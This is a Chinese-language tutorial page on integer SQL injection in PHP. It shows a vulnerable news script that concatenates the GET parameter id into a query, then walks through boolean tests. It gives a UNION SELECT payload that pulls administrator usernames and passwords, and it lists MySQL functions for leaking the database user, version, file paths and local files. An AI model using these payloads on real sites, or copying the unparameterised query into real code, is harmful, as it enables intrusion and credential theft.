<optgroup id="srizi"></optgroup>

<optgroup id="srizi"></optgroup>

系統城裝機大師 - 唯一官網:www.jasafloorhardener.com!

當前位置:首頁 > 網絡知識 > 腳本攻防 > 詳細頁面

PHP漏洞之【整型數字型SQL注入】

時間:2020-08-20來源:www.jasafloorhardener.com作者:電腦系統城

0x01    什么是SQL注入

SQL是一種注入攻擊,通過前端帶入后端數據庫進行惡意的SQL語句查詢。

 0x02    SQL整型注入原理

 SQL注入一般發生在動態網站URL地址里,當然也會發生在其它地發,如登錄框等等也會存在注入,只要是和數據庫打交道的地方都有可能存在。

如這里http://192.168.30.22/intsql/shownews.php?id=5  我們打開shownews.php源文件看下代碼


 
if(isset($_GET['id'])) { $id=$_GET["id"]; } else { echo "<script language='javascript'>"; echo "alert('ÇëÊäÈëÕýÈ·ID£¡');"; echo " location='index.php';"; echo "</script>"; exit; } $sql4="select * from news where id=$id"; $result4=mysql_query($sql4); if($nums=mysql_num_rows($result4)) { $rs4=mysql_fetch_array($result4); $title=$rs4["title"]; $content=$rs4["content"]; $hits=$rs4["hits"]; $fbsj=date("Y-m-d",strtotime($rs4['fbsj'])); $sql="update news set hits=hits+1 where id=$id"; mysql_query($sql); }

首先定義一個變量id,$id=$_GET["id"];獲取GET的值,

然后定義一個sql4變量來存放sql查詢語句,并和剛才變量id進行拼接組合,

$sql4="select * from news where id=$id";

最后帶入數據庫進行查詢   $result4=mysql_query($sql4);

由此可以確定此文件存在SQL注入漏洞,id是數字型

 0x03    驗證漏洞

現在我們在地址欄id=5 后面輸入 and 1=1  頁面返回了正常

那么代碼里的sql語句拼接起來應該就是$sql4="select * from news where id=5 and 1=1";  //整條語句帶入數據庫進行查詢 SQL語句返回為真即true

現在我們在地址欄id=5 后面輸入 and 1=2  頁面返回了錯誤

那么代碼里的sql語句拼接起來應該就是$sql4="select * from news where id=5 and 1=2";  //整條語句帶入數據庫進行查詢 SQL語句返回為假即false

依次類推,如果看不懂的話,可以去補一點sql基本語法知識。

 最后在查詢出管理員的后臺賬號和密碼 and 1=2 UNION SELECT 1,username,password,4,5,6,7 from gly

可以看到SQL語句拼接起來變成一條完整的select * from news where id=5 and 1=2 UNION SELECT 1,username,password,4,5,6,7 from gly

mysql數據庫一些常用函數:  我們也可以加到查詢語句里進行爆出對應的信息

1:system_user() 系統用戶名
2:user() 用戶名
3:current_user 當前用戶名
4:session_user()連接數據庫的用戶名
5:database() 數據庫名
6:version() MYSQL數據庫版本 @@version
7:load_file() MYSQL讀取本地文件的函數
8:@@datadir 讀取數據庫路徑
9:@@basedir MYSQL 安裝路徑
10:@@version_compile_os 操作系統

分享到:

相關信息

系統教程欄目

欄目熱門教程

人氣教程排行

站長推薦

熱門系統下載

久久大香久久久尹人尹人